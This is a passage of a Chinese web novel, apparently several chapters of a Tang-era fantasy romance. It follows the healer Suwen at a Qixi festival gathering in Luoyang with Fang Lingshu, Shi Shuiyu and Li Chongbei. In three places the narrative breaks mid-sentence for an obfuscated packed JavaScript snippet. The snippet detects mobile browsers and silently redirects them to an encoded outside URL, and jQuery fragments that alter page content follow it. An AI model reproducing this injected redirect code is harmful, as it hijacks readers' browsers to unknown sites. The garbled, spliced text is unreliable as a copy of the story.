“那依你说应当叫什么?”爰爰忿忿然,“人家自称元度卿,难道我就要去这么直呼别人么?你不觉得自己很不礼貌么?” “什么自称元度卿?凡人,尤其是爱读书的凡人会这么介绍自己么?此人装模作样,谁知道是不是怀着坏心思!” 爰爰不解:“你不也自称明月奴么?” “因为我没有姓,这就是我的名!”明月奴甚是不满,“他能与我比?” 爰爰撇撇嘴,嘟囔道:“也许人家也没有姓,元度卿就是他的名呢……” 眼看着明月奴又要炸起来,素问只得开口岔开他们:“图师兄哪日休沐?游王庄之外还有其他村镇有疫病,不知他那里有没有更加准确的消息。” 爰爰忙取出一封信,道:“图师兄昨日午后来过,说这回进宫时间久,大概要七日才能回,让我将这个交给阿姐。” “早点不拿出来,非得问到了才拿,是何居心?”明月奴一把抽走信,递到爰爰身旁坐着的素问手上。 素问接过信,若有所思:“妖族难以崛起,大概天敌之间难以抑制的内讧也是原因之一。” 一板子将两个人都打了,明月奴和爰爰总算安静了下来。 图南的信并没有列举其他村镇,而是殷殷叮嘱素问暂居洛阳,一切等他出宫再商量。素问合上信,看向外间,被刺眼的日光激得眯了眼,等好不容易适应了之后,才发现窗外凌霄花快要枯死了。 傍晚时分,素问从洛河提了水,正要灌溉凌霄花,隔壁走出一个散漫的身影,素问余光注意到他伸了伸懒腰,走到河边坐下。 素问垂着头去找花根,蓦然听到身后传来脚步声,片刻之后,黑影将她罩住,紧接着头顶传来带着笑意的低沉男声:“爰爰一直在打理,只是这株凌霄根已经坏了,浇不活的。” 素问埋头拨了拨土,发现花根确实烂了。她便问:“那应该怎么办?” “没办法呀,毕竟根都烂完了,拔了重新种罢。”元度卿说着,踱到一旁,坐在窗下的椅子上,仿佛怕素问听不懂他的影射,又念叨了一句,“花根就像是一国根基,一旦坏了,这株花是无论如何也活不了咯!” 素问直起身,有些好奇地打量对方。 元度卿腿伸直,仿佛没骨头一般靠在椅子上,转头看向素问,笑道:“你是素问罢?爰爰说你是安平医庐的主人,也是她的姐姐。” 素问心道,爰爰也没少透露信息。不知为何,眼前明明是个凡人,但素问总觉得他不简单,便保持面上淡然,用凡人的习惯拉开距离感:“我姓叶。” “你喜欢这个姓么?” 素问一怔:“什么?” “爰爰叫我元大叔,但其实我不姓元,元度卿是表字,我姓韩,不过我不喜欢本姓,所以自称元度卿。”元度卿说罢,眯眼一笑,又问,“你不大习惯叶姓罢?” “唔……”素问有些跟不上元度卿的想法,一时不知自己的回答会引出怎样奇怪的后续。 “不习惯或是不喜欢都一样,我还是称你为素问,怎么样?” “请便。”素问磨了磨牙,在元度卿身边坐下,近看之下,发现元度卿年纪并不真的很大,至多不惑之年。 美髯公看着甚是睿智,可惜似乎是个棒槌。 素问找到了切入点,笑眯眯地问:“听说你的侄子侄女在洛阳?他们在哪里呀?” 元度卿道:“可不能说,万一让他们知道我来了,就暗中照顾不成了。” “按理说,既然能远道而来,想必有照顾自己的能力。” 元度卿点头:“肯定有,我倒不担心他们的安危,只怕……” 素问抢答:“只怕他们得罪人!” 元度卿不否认:“就是说呀,这两个孩子常常语不惊人死不休,人情世故全从纸上得来,我真怕他们把别人气死了,还是得悄悄引导一二才是。” 素问笑了笑,柔声道:“这可就难啦,既是两个小棒槌,想必上面还有个大棒槌,这大棒槌……” “没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110028|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”元度卿顿感觅得知音,忍不住打断素问,直拍大腿抱怨,“我那兄弟可不就是个大棒槌?我好心好意来照顾侄女儿,他不记我的好,还想追杀我!” 素问哭笑不得,心道,若是我知道一个大棒槌追着自己的孩儿,可能也想揍得你下不来床。 元度卿很会自娱自乐,见素问不回答,又问:“你要吃葡萄么?” 素问摇头。 “葡萄酒呢?” 素问疑惑地看他。 “葡萄美酒夜光杯,欲饮琵琶马上催。听过么?” 素问继续摇头。 “那就遗憾啦,我最喜欢后两句——”元度卿说着,忽然起调唱了起来,“醉卧沙场君莫笑,古代征战几人回?” 刚唱完,元度卿便沉默了下来。 素问偏头看他,问道:“怎么不唱了?很好听啊。” 元度卿道:“感怀时事,适可而止。” 素问大概能明白元度卿的意思:曲中之征战非当下之征战,但却因诗想到当下时局,两相对比,自然无趣。 过了片刻,元度卿忽然自来熟地用胳膊肘捣了捣素问的胳膊:“说真的,葡萄美酒要不要来一杯?” 素问见他又来了精神,不由失笑,仍旧摇头:“我不喝酒。” “又不吃又不喝,但是没剃光头发。”元度卿摸着下巴推测,“莫非你是个坤道?” 素问笑:“阁下慧眼识英雄。” “那是自然,不过即便是坤道也没关系,道士还有成亲的呢!” 话题转得太快,素问再次跟不上了,一脸茫然:“什么?” 元度卿转向桥所在的方向,扬了扬下巴:“那个小郎君可看你很久了。” 素问顺着看去,这才发现方灵枢远远站在桥边柳下,也不知等了多久了,她下意识屏住了呼吸,直到耳旁传来元度卿清嗓子的声音,才察觉此举不妥,连忙起身迎过去。 方灵枢见素问走来,也抬步相向而行,到得跟前,先笑道:“对不住,连日辛苦,又有今日舟车劳顿,本不该来打扰你,但你说从前廿载俱是独居深山,想来没有见过人间热闹的时候,所以这一趟还是非来不可。” 素问奇道:“莫非今天是什么特殊日子?” 元度卿悠悠吟道:“天阶夜色凉如水,卧看牵牛织女星。” 素问不解:“今晚要看牵牛织女星?为何?” 方灵枢温声相问:“你听说过牛郎织女的故事么?” 素问摇头。 元度卿插嘴:“你没听说过很正常,因为先秦时并没有这个传说。《诗》中有云,‘跂彼织女,终日七襄。虽则七襄,不成报章。睆彼牵牛,不以服箱。’可见那时虽知天上有牵牛星与织女星,但一个象征着农耕,一个寓意女红,男耕女织只是许多人生活的方式,并不是两情相悦的必然。到了南北朝时期,开始有了天帝怜织女孤独,而赐婚于牵牛的说法,后又因织女耽于家事、荒废了织术,天帝才设下两岸相隔的处罚。再后来,一代又一代传下去,悲剧变得不那么悲,织女与牛郎可以一年相会一次,人间女子便在这一日乞巧祈福。” 素问眉头一跳,问道:“为何先秦时期没有,我不知道也正常?” 元度卿甚是疑惑:“这位小郎君不是说你独居多年么?不知道就是正常啊,至于先秦这些,我这是为了给你解释传说的来源嘛!你想到哪里去了?” 素问这才发现自己想太多,笑道:“是我理解有误。”话止于此,她担心元度卿追问,连忙问。“牛郎织女与牵牛织女星有何关联?为何要乞巧?何谓乞巧?” “不愧是年轻人,问题可真多呀!你既如此好奇,何不亲自去瞧瞧呢?岂不比我干巴巴说来强?”元度卿说罢,见爰爰在里间探头探脑,笑眯眯道,“小娃娃就别凑热闹啦!” 爰爰撅起嘴,不满道:“我可不是小娃娃!” “总之你不能去。”元度卿说罢,看向素问道,“你不同,你要快去,趁着坊门未关,路上还可让小郎君与你说说那浪漫的传说。” 素问看向方灵枢。 方灵枢看着素问,眼中怜惜一闪而过,他很快恢复笑意,道:“传说不重要,重要的是有热闹看,去不去?” 素问其实对看热闹不感兴趣,但她看着方灵枢亮晶晶的眼睛,思来想去竟没有拒绝的理由,甚至生出期许之心,于是沉默一瞬后,她点了点头,笑道:“好呀!” 20. 星汉西流(十) 若是在盛唐年月,暮鼓之后,坊市定是空无一人,有道是“六街鼓歇行人绝,九衢茫茫空有月”。洛阳坊市之间亦是如此,但自安史之乱后,宵禁不再如之前那般严,坊内夜市逐渐壮大,在七夕这样特殊的日子就更加明显。 入夜之后,道路两旁商贩纷纷挂起了灯笼,各种吆喝声此起彼伏,夹杂着阵阵笑声,乱世都如此热闹,素问实在想象不出如果生在盛世,该是怎样一番盛景。沿途行去,不少商家都摆出了金针和布匹,素问不懂其中习俗,问道:“为何都是女红工具?” “七夕乞巧,所祈是心灵和手巧。”方灵枢指着路过的针线摊,道,“这是女子用来穿针赛巧,穿得越快,得巧越多。”两人一边说一边走,路过一个放满了小巧锦盒的摊位,方灵枢继续道,“这是蛛丝乞巧,女子今晚抓一只蜘蛛放进去,若是明早蜘蛛织了张好网,就得了巧。” 素问停在摊前,好奇地问道:“如何才算一张好网?” 摊主笑答:“越密越好,小娘子要不要来一只?我们家的盒子好哇,蜘蛛进了里面,住得舒服又惬意,自然能织出好网了!” 素问没有拿锦盒,转头向方灵枢道:“方才元度卿不与我说,我如今也看不明白,不如你直接告诉我,为何要观星?为何要乞巧?” 不等方灵枢回答,摊主“哟!”地一声,仿佛见了什么奇观,大惊小怪道:“小娘子难道不知道七夕的习俗?” 素问很确定江月见不曾与自己说起“七夕”,便问:“敢问七月七有何习俗?” 摊主如数家珍:“白日晒书,晚间女子乞巧,其中又有穿针乞巧、浮针验巧、喜蛛应巧,你再往前走走,还能遇见卖磨喝乐和巧果的摊子呢!” “多谢店家。”方灵枢买下一只精美的礼盒,然后带素问离开摊位,走了一小段后才道,“我从源头将传说复述一遍,可有耐心听完?” 素问点头。 方灵枢便娓娓道出牛郎与织女的传说,对于这个可谓是家喻户晓的故事,素问却闻所未闻,甚是新奇,等方灵枢说完唐宫长生殿里传出的乞巧习俗,他们刚好逛到了道路尽头,停在了一家卖磨喝乐摊位前。 素问看着眼前喜眉笑眼的土偶,忍不住拿起了一对,转而想起此物供奉给牛郎织女是为了求子,便又放了下去,与方灵枢一同回到道中。 两人并肩往回走,方灵枢见素问两手空空,问道:“你都不喜欢么?” “不是不喜欢,只是不相信。”素问缓声道,“我觉得故事里有个很大的漏洞——天神应当不大会来人间,更加不会因为衣服被藏便束手无策。” 方灵枢缓声道:“其实知情人看去,许多传说都站不住脚,普通人未必不明白这一点,只不过大多数时候,这些传说本身真是假并不重要。” 素问奇道:“那什么重要?” “可能是故事的内核罢。”方灵枢背着手,看向织女星的方向,道,“以我浅薄之见,人间姻缘讲的是门户相对,依的是父母之命。牛郎一介贫苦凡人能够迎娶天上仙女,又能在王母的反对之下追至天河,且最终争取到每年七夕与妻子在鹊桥相见,桩桩件件,何尝不是对固有体制的反抗?” 素问想了想,道:“我明白你的意思了——真假不重要,重要的是传播这个故事的人想要传达什么,听故事的人又想听什么,因而要想让仙女必须嫁给牛郎,就得让牛郎偷走仙女的衣服,牛郎的行为好不好,仙女会不会这样被威胁,都不重要,故事能继续讲下去就行了。” 方灵枢笑道:“我猜,应当就是这样了。” 素问无法轻易与凡人共情,不过此时设身处地想去,大约能理解一点,甚至于当下七夕传说的结局与南北朝时期悲剧不同,有情人之间即便隔着天堑,依然有相逢的那一日,或许就是在代代相传之中,人们加入了美好的希冀。 想到此处,素问道:“其实我也没去过神界,焉知天上不曾有鹊桥?毕竟喜鹊在这些天确实少了头顶的毛嘛!” 方灵枢顿了一瞬,立刻明白了素问的意思,他忙问:“今晚坊中有女子夜会,里间早已备好一应用具,众人一起乞巧,别有意趣,现在去还来得及,我们过去罢?” “好呀!”素问欣然答应。 方灵枢熟悉地形,带着素问转了几转,来到立行坊西南角,一处占地极大的宅院出现在视野之中,他们停在后门口,方灵枢示出邀帖,经门卫放行后,转过小径,便来到一个大园子前。 两人还未入园,已然听到里间传来莺声燕语,偶尔有两句低沉的男声混杂其中,好生热闹。 素问抬头,一字一念:“松、石、园。” 方灵枢介绍道:“这里曾经是前朝重臣府邸,如今为絮芳阁东家所有,从四年前开始,他的女儿每年七夕都会在此办乞巧会,只要得了邀帖,便能携伴前来。” 素问觉得“絮芳阁”有些熟悉,略略一想,便记起来——医庐开业那日,李重琲曾经提过。想什么来什么,两人这厢抬步入了园,便见前方有一个熟人迎面而来。 甫一照面,两方人都愣住。 片刻之后,素问看着眼前这个可谓是风度翩翩的公子,咂舌:“李衙内?” 李重琲连忙一收折扇,沉声道:“素问别误会,我今日来是奏乐,绝不是拈花惹草!” 素问扬眉看向方灵枢。 方灵枢见到李重琲也很惊讶,见素问看自己,立刻解释道:“夜会只邀请女子乞巧,男子若是进来,多半有其他委派。” 李重琲冷笑:“你来自然是为了防止小娘子受暑了。” 方灵枢懒得与他起争执,向素问道:“来,我带你去见此宅主人。” 素问点头,李重琲本想跟上去,无奈身后跟着的仆从催他去竹林,他只得恨恨盯着两人离去的背影,独自甩袖离开。 园中灯火通明,小桥流水,回廊九曲,女子三三两两站在一处,煞是好看。 方灵枢却像不曾见到一样,避过众人,带着素问来到一处凉亭。亭外的侍女远远瞧见他,便有人进去传话,等他们到门口的时候,主人刚好迎出来,素问还未见到人,便听她笑道:“难得!难得!年年邀请,今年方郎可算是赏脸了!” 话音落下,女子露面,是一个面容姣好的二八少女,虽是富户家,但穿着很是简单,头上只簪了一只珠钗,除了素问,满园子恐怕找不出比她更素净了。 少女蓦然被挫败,目光难免落在素问发上木簪,不过她礼数很足,只瞥了一眼便挪开,再开口时,相比于方才,已经稳重了许多:“原来是有客人相伴,方医师,这位是?” “这是安平医庐的叶医师,是……”方灵枢沉吟一瞬,道,“是我的好友。” 少女笑道:“恩公的好友便是我的好友,恩公不介绍我么?” 方灵枢便道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123184|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是卢小娘子。” 少女与素问互相见礼,起身后半怨半叹:“恩公当真是亲疏分明。” 方灵枢笑了笑,只道:“今晚劳烦你照顾叶医师了。” 少女道:“自然不负重托。” 方灵枢看向素问,柔声道:“等会儿女子都在一处,我不便靠近,就不陪你了,不过我在不远处,你肯定能看到。” 素问笑道:“好。” 方灵枢又冲少女拱了拱手,告辞离去,只是刚走到门口,又想起一事,于是折返回来,从袖中取出一物,放在素问的手上。 素问垂头,发现是那个精美的盒子。 “预祝你得巧。”方灵枢郑重道。 素问握紧盒子,点了点头,低声道:“多谢。” 方灵枢笑弯了眼,这次离开时,便没再回头。 少女目光追随着方灵枢,停在素问身边,等方灵枢的身影消失了,她才看向素问,道:“叶医师真好看。” 素问认真道:“我医术不错。” 少女“噗嗤”笑弯了眼,连声道:“来来来,叶医师跟我来,我带你去拿其他用具,顺道见一个熟人。” “熟人?”素问带着满腹疑惑跟进了亭子,帷幔之后竟坐着石水玉,她奇道,“你为何在这里?” “我和飘絮是少时便认识的好友。”石水玉坐在桌后,笑盈盈地看着素问,接下来的话确实冲卢飘絮而去,“怎么样,我说方医师今日会带人来罢!” 卢飘絮从袖子取出一枚令牌扣在石水玉桌上,石水玉利落地收进怀里,仰头笑道:“多谢。” “愿赌服输。”卢飘絮冷哼一声,转向素问时,又满脸笑容,“叶医师莫怪我与水玉姐姐拿你打赌,只是方医师从来不应邀,更别提带同伴来,我实在不信邪,才会起赌心。” “无妨。”素问淡淡道,“你带我进来是?” 石水玉连忙起身,将针线奉上,道:“来,我们一起去。”她挽上素问,走了两步又想起园子主人,回头笑问,“你去不去?” 卢飘絮坐到围栏边,百无聊赖地看向湖心,淡淡道:“不去,求神不如求自己。” “嘁。”石水玉拉着素问离开。 素问也不挣扎,任由石水玉带自己在园中穿梭,一路行去,两人都没有说话,直到人渐渐多了,石水玉偏头看去,才发现素问在看自己,她不由有些心虚,问道:“怎么了?” “刚刚看到你有些惊讶。” 石水玉解释道:“我和飘絮来洛阳前就认识。” “嗯。”素问似笑非笑,“只是开始惊讶,转念一想,就不奇怪了。” 石水玉:“……你想说什么?” 正在这时,一阵空灵的乐声从竹林那边飘过来,素问装作疑惑的模样道:“咦?这是谁在奏乐呢?乐师不会姓李罢?怎么有李乐师的地方,总会有一个黄衫小娘子出现呢?” 石水玉扶额,几次想开口,到底觉得理由连自己也说服不了,只得清了清嗓子,承认:“是,李衙内是我带进来的,但那也是因为他有用处。” 素问扬眉:“原来如此呀。” “就是这样!”石水玉虎着脸,甚是外强中干,“方医师能来,不也是因为有一技之长么?”石水玉说着,见素问又想开口,忙拉着她快步走,催道,“医师会针灸,想必手稳的很,今日让我瞧瞧这双手穿针引线的水平如何!” 21. 西园恶草(一) 众人穿针乞巧的地方安排在小池塘边的空地上,有人围石桌而坐,有人在廊下坐着,还有人对着星空参拜,才肯拿起金针。素问和石水玉到达的时候,不少人已经开始了,她们便在廊下寻到一个空处坐下。 石水玉左右看看,指着旁边挂着的驱蚊香囊,道:“方子是方医师写的,城里有不少药店都参照这个方子做香囊,很多人买呢!要我看,方医师也太过无私,他要是不公布出来,大家不都只买他们家的了。” 素问笑道:“这里面不过七八味药,而且都很常见,比如檀香、藿香、丁香、艾叶这些,稍稍有些经验就可辨别出来了,又何必藏掖?” “这么简单?”石水玉凑近问,“难道不是因为你医术高?” 素问煞有介事地点点头:“倒不无可能。” 石水玉道:“素问,你变了,初见时,你可不是这样。” 素问正要反驳,不期然一抬头,看到池塘对面小楼上出现了一个熟悉的身影——他将提着的灯笼挂到檐下,回头朝这边看来。 是方灵枢。 他应当也看到了自己,只是因为背着光,素问看不清他的面容,只见他点头示意后,回到了楼里。素问垂头看针,也不知是不是因为气氛所烘托,竟然真的对结果产生了期待。 石水玉旁观着,轻而易举便猜透了素问的心思,笑道:“这会儿就不说闲话了,开始穿针罢。” 素问应声。两人借光穿针,可惜素问不曾习过女红,水平自然不如何,最终在穿针乞巧得了个中等。令她意外的是,石水玉竟然也没有好几分,只比素问快了一点。 众人分出胜负后,又结伴去房舍找蜘蛛,好不容易各个盒子里都关了蜘蛛,已经是更深夜阑的时候了,不少女子都捂嘴打起了哈欠。 石水玉也有些困,她靠在素问的肩上,垂头看双脚悬空在廊外,悠悠荡荡,等了半晌,没听素问出声,坐起一看,发现她正抬头看着明月,便问道:“想家了?” 素问摇头,没有回答,顿了片刻,问道:“你为何不提朝馨的事?” 石水玉没想到素问会忽然说起朝馨,下意识地抿住唇。 素问回头看她:“李衙内也不来,是碰壁了,因此感到羞愧么?” 石水玉勉强笑了笑,道:“衙内天不怕地不怕的性子,怎么会呢?是我不让他来。” 素问静静等着后续。 石水玉顿了片刻,叹道:“我不想提朝馨,就当没这个人罢。” 素问道:“要有始有终才好,既然让我放弃,总要给一个理由,对不对?” 石水玉想起那日的经历,眉头紧蹙,酝酿了好一会儿,才道:“朝馨在夫家过得不好,她也不知道爱护自己,劳累过度,身子才那么差。因此,我以为她若想恢复,夫家是唯一的阻力,所以曾经劝过她和离,但是她舍不下孩子,只能作罢,不过她如果能跟着我去看病,也许时日久了也就好了。” 素问:“这些我是知道了,现在怎么了?她自己不肯?” “她母亲不允许。” 素问疑惑:“亲生母亲?” 石水玉点头:“她母亲认为朝馨过得不好,全因为不曾生出男孩,因此特地赶来劝她停药,准备再怀一个。” 素问消化了好一会儿,才喃喃开口:“她母亲为何这样觉得?” “许是也遭过这样的苦,为了女儿着想,才如此相劝罢。”石水玉见素问呆住,勉强一笑,道,“我不想说,你非要听,现在后悔了么?我和衙内那日去,朝馨母亲撒泼打滚,就差三尺白绫了结了自己,硬是将我们赶走了。衙内被气得差点一脚踢死她,也省得她自己寻死,只是想起要在你面前做个好人,不能伤及无辜,因而生生忍住,险些憋出内伤。因而我们回城后没有立刻去医庐,我带他散了几天心,再去找你时,你却出城了。” 素问无精打采地解释:“游王庄有疫病,我去帮忙了。” 石水玉忙问:“都痊愈了么?” 素问点头。 “那就好。”石水玉叹道,“这世道,活得了今日,活不了明日,差一个朝馨也不少。” 素问跟着叹气。 石水玉到底不愿气氛沉闷太久,相对沉默片刻后,忽然道:“走,我们去看看方医师的画!” 素问讶然:“画?什么画?” 石水玉更是惊讶:“你不知道方医师今日来是为七夕夜会作画么?” 素问茫然:“李衙内不是说为了防止有小娘子病倒么?” 石水玉无奈:“李重琲的鬼话你也信?” 素问沉默。 石水玉拉她起身,笑道:“快!快!我听飘絮念叨许多次了,今日非得瞧瞧方大家的大作不可!” 素问也好奇不已,跟着石水玉快步行去,沿路见不少人三两成群去客房休息,等到了竹林边点着灯的小楼时,回头一看,满园子的人已经走了八成,不过此时驻足看,方知此地视野甚好,若在二楼,确实是个作画的好去处,怪不得方才他时不时站出来。 石水玉带素问上了楼梯。 方灵枢在桌案后,恍若无人一般,正伏案细细勾勒着,在他身边,已经散落着不少画。素问担心打扰他,便放轻了脚步,蹑手蹑脚向方灵枢走去。她一路走一路捡,手中的画以景色居多,上弦月辉笼罩之下,女子的身影显得有些朦胧。每幅至少有三四个女子入画,或聚坐一处,或三两窃语,一人徘徊。水墨画很是写意,难以辨明真容,但通过身形神韵,素问竟然在其中找到了自己和石水玉的侧影,由此不禁好奇起方灵枢此时正在作的是哪一幅。 素问走到了桌案前,垂头看向方灵枢笔下所绘,然后呆住了。 方灵枢这会儿终于察觉到来人,抬头去看,也不由呆住。 一人是因自己入画而愣神,一人则是因为画中仙成真而惊愕。 石水玉踮着脚看到了画,轻咳一声,忍笑道:“方大家忒偏心,满园子的人,竟然独独只给素问作一张,飘絮若是知道,恐怕要羡慕死了!” 方灵枢回神,脸一直红到了耳根,他第一时间想要去遮掩,无奈水墨未干,恐怕损坏了画中人,正不知所措间,素问开口了:“我看看。” 说罢,素问行到方灵枢身边,探身看去,只见画中的自己坐在廊下,正仰头看着中天之月,嘴角微微扬起,泛着温柔的笑意。 自己赏月时有这样的时刻么?素问略一回想,便记了起来——因为有人与她说月夜很美,所以她看得颇为欣喜。 夜风吹起小楼窗纱,也吹起了心湖上的涟漪。 似乎是过了许久,素问听到了自己的声音:“画得真好。”话说完,聒噪的虫鸣蛙叫忽然闯入了耳朵,她找回了神魂,直起身,看向方灵枢,问道,“可以送给我么?” “自然,本来就是要赠予你的!”方灵枢道,“不过要等装裱好。” 话说完,两人才发现彼此离得如此之近,连忙各退两步,素问才道:“多谢。” 石水玉一脸慈爱地看着他们笑,眼见着两人都有些不知所措,才大发慈悲道:“有个傻子还在竹林里喂蚊虫,我去找他,你们俩慢慢聊。” 素问顿时清醒,连忙道:“我与你一起!” 石水玉一愣,看向方灵枢:“那方医师……” 方灵枢笑道:“你们先去休息,我把画整理好再去。” 石水玉只得与素问一道离开小楼,等确定方灵枢听不见了,石水玉正想问素问,不巧正见李重琲从竹林里摇摇晃晃地走了出来,他一手打着灯笼,一手捂着嘴打哈欠,睡眼迷蒙时,蓦然看见前面有两道倩影,定睛一看,认出人来,当即精神焕发地冲了过来,喊道:“素问!素问!怎么样?乞巧好不好玩?” “尚可。”素问笑答。 李重琲看向石水玉,问道:“石小娘子呢?有没有拔得头筹?” 石水玉摇了摇头,咽回了对素问的话。 李重琲未察觉石水玉的意兴阑珊,道:“奇怪,我怎么感觉你永远不会输?” 石水玉道:“常胜将军也不能百战百胜,何况是我?” 李重琲反驳:“这话可不对,既不能百战百胜,又算什么常胜将军?” 素问在一边看着他们俩抬杠,好像稍稍能明白方才石水玉看她和方灵枢的心情了。 李重琲正飞快转动脑筋,忽然瞥到素问微笑的模样,顿时卡了壳,也不想着要去回应石水玉了,径直走到素问跟前,声音轻得可谓是温柔:“抓到蜘蛛了么?” 素问点头,举起盒子:“在这里。” “我给你瞧瞧蜘蛛好不好。”李重琲说着,便要伸手。 石水玉淡淡道:“在结网呢,你现在打开,岂不是坏了事?” 李重琲闻言,立刻缩回手,道:“是了,那我明早和素问一起开。” 石水玉眉头微微皱起。 素问见状,忙道:“我要和水玉一起开,你如果想乞巧,可以自己去抓一只蜘蛛来。” “我乞什么巧?我就想看你得巧。” 素问眯起眼。 李重琲忙退后一步,道:“素问说得对,还是女子一起开才好!” 石水玉冷笑一声,直接拉着素问离开。两人一路行至客舍,卢飘絮为她们留了两间,但是石水玉还是挤到了素问的房间里,素问心知石水玉有话要说,也没拒绝,与她一同躺到竹席上。 过了片刻,石水玉才道:“你睡了么?” 素问道:“我在等你说话。” 石水玉不由失笑,她翻身面朝素问而卧,低声道:“你知道我想说什么?” 素问“嗯”了一声,道:“此时该是交换秘密的时候,你心悦于李衙内,是么?” 石水玉道:“若我说不是,你信么?” 素问偏头看她,发现石水玉目光清明,没有半点小女儿思春作态,奇道:“可是你们相处时,我感觉你很在意他。” “衙内也如此以为,因此有时动手动脚,才会有方医师路见不平的事。” 素问皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131866|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉:“何意?你是故意让衙内误会么?” “先前不用故意为之,他也不会老实,但现在即便再刻意,他也不会上钩。”石水玉定定地看着素问,道,“因为你。” “我与衙内并无深交,他接近我,不过因为我是医女,方医师为你鸣不平的那一次,你应该看明白了。”素问别过头,直直地看着屋顶,憋了片刻,还是没忍住,快速道,“不管你是出自何种目的接近衙内,那都是你的事,但你不该让别人为你受伤,如果那天不是我路过,难道你就要任凭方医师被衙内打死么?” 石水玉忍不住争辩:“你如何知晓我不会挺身而出?事实是你出手了,一个医师当然好过我。” 素问闭了闭眼,轻叹道:“方医师的伤很重,即便你与我在同一个时间拦住李衙内,寻常医师可能都救不回他。” 石水玉沉默下来。 “我不懂你。”素问道,“若是喜欢衙内,你就为自己争取,若是不喜欢,又何必去招惹?你会努力解救萍水相逢的朝馨,为何对方医师却那样冷漠?你若是以后对其他人还这样,我就当没认识过你,你也不必来我的医庐了。” 石水玉平躺回去,双手交叠放在腹部,素问等了好一会儿,没等到回音,还以为她睡着了,不想她忽然又开口道:“我帮朝馨,是物伤其类,先前早就说了,我不是起善心。” 素问眨了眨眼。 石水玉继续道:“但你说得对,不管怎么样,我不该连累无辜之人。” 素问转头看她,忍不住问:“你为何喜欢衙内,却不喜欢方医师?” 石水玉反问:“我为何要喜欢方医师?就因为他有一颗正义的心么?可是这样的人很多,难道但凡是帮助过我的人,我都要喜欢一遍?” “但是那日之后,你不是常常去半钱医馆么?应当说过话,然后发现彼此十分契合,心悦彼此,不是么?” 石水玉啼笑皆非:“你想象出一堆不存在的事,所以才会几次三番认为我该和方医师在一起?” 素问一愣:“不存在?” 石水玉十分肯定:“绝不存在。” 素问沉默许久,又问:“你到底喜不喜欢衙内?” 石水玉短促一笑,意味深长道:“素问,我与你不一样,不能够随心所欲去喜欢别人。” 素问立刻道:“你可以,我不会。” 石水玉懒懒道:“你且狡辩罢,天长日久,自见分晓。” 素问坚持道:“是真的,我不会心生男女之情!” “好,好,你不会。”石水玉侧向素问,敷衍地拍拍她的肩膀,轻声道,“快睡罢,夜深了。” 素问一噎,顿了片刻,问:“你想说的话说完了么?没有想问的问题了?” 石水玉闭着眼睛,含糊道:“不必问了,我已经知道答案是什么。” 素问奇道:“答案是什么?” 石水玉扬起嘴角,却不回答,仿佛睡着了一般。 素问等了许久,直到石水玉呼吸变得均匀绵长,也没等到答案,便知道她是不会回答了。 此时已然夜深,没过多久,窗外便出现了微弱的亮光,素问起身,从窗户缝隙看向外间,发现东方已现鱼肚白。 半个时辰后,外间开始传出动静来。素问借着晨光打开锦盒,等看到其中情形后,默然片刻,又重新关上盒子。 天大亮时,石水玉终于醒过来,她显然没睡好,坐起后又闭着眼睛假寐,反复几次,才终于睁开眼,发现素问坐在窗边,正笑盈盈地看着自己,当即赧然,一边理头发,一边起身道:“昨晚睡得太迟了,我平日里可不是这样。” 素问笑而不语。 石水玉从枕头下取出自己的锦盒,坐到素问对面,打开一看,“啊”地一声,怨道:“怎么死了?” 素问探头去看,果然发现蜘蛛八脚朝天,安详地躺在了盒底,便劝道:“可能是枕头捂到了,明年莫要这样就好了。” “哎,不是个好兆头。”石水玉咕哝着,忽然抬头问素问,“你的呢?” 素问摊手:“好像弄丢了,没找到。” 石水玉努力回想,只是刚刚醒来,脑中一片浆糊,实在记不起素问在哪里丢了锦盒,只能叹道:“罢了,都不必当真,我们明年重来。” 素问点头,起身道:“我要回去了,你呢?” 石水玉略有些懒散地靠在椅子上,摇了摇头:“对不住,我不能相陪了,今日说好要留在这里陪飘絮的。” 素问并不意外,她出门之后,先托侍女向主人家告辞,尔后独自沿着小路往园外走,曲径尽头的月洞门外站着青衫书生,远远看着,也是能入画的妙景。 素问脚步一顿,转而想到自己的锦盒—— 她的网织得很好,又密又圆,但这是不应该的,就像石水玉的蜘蛛不应该死一样。 方灵枢转过身,见到素问,苍白的脸露出明亮的笑容。 素问随之一笑,心里有个角落,不经意间冒出了新芽。 22. 西园恶草(二) 七夕之后,暑热渐渐褪去,日暮时分,能看到大火星从西方缓缓落下,入夜微凉。 但是雨依旧不曾落下,整个中原干旱严重,宫里勉力应对灾民和军镇的需求,明眼人都能看出来,顾此失彼是迟早的事。 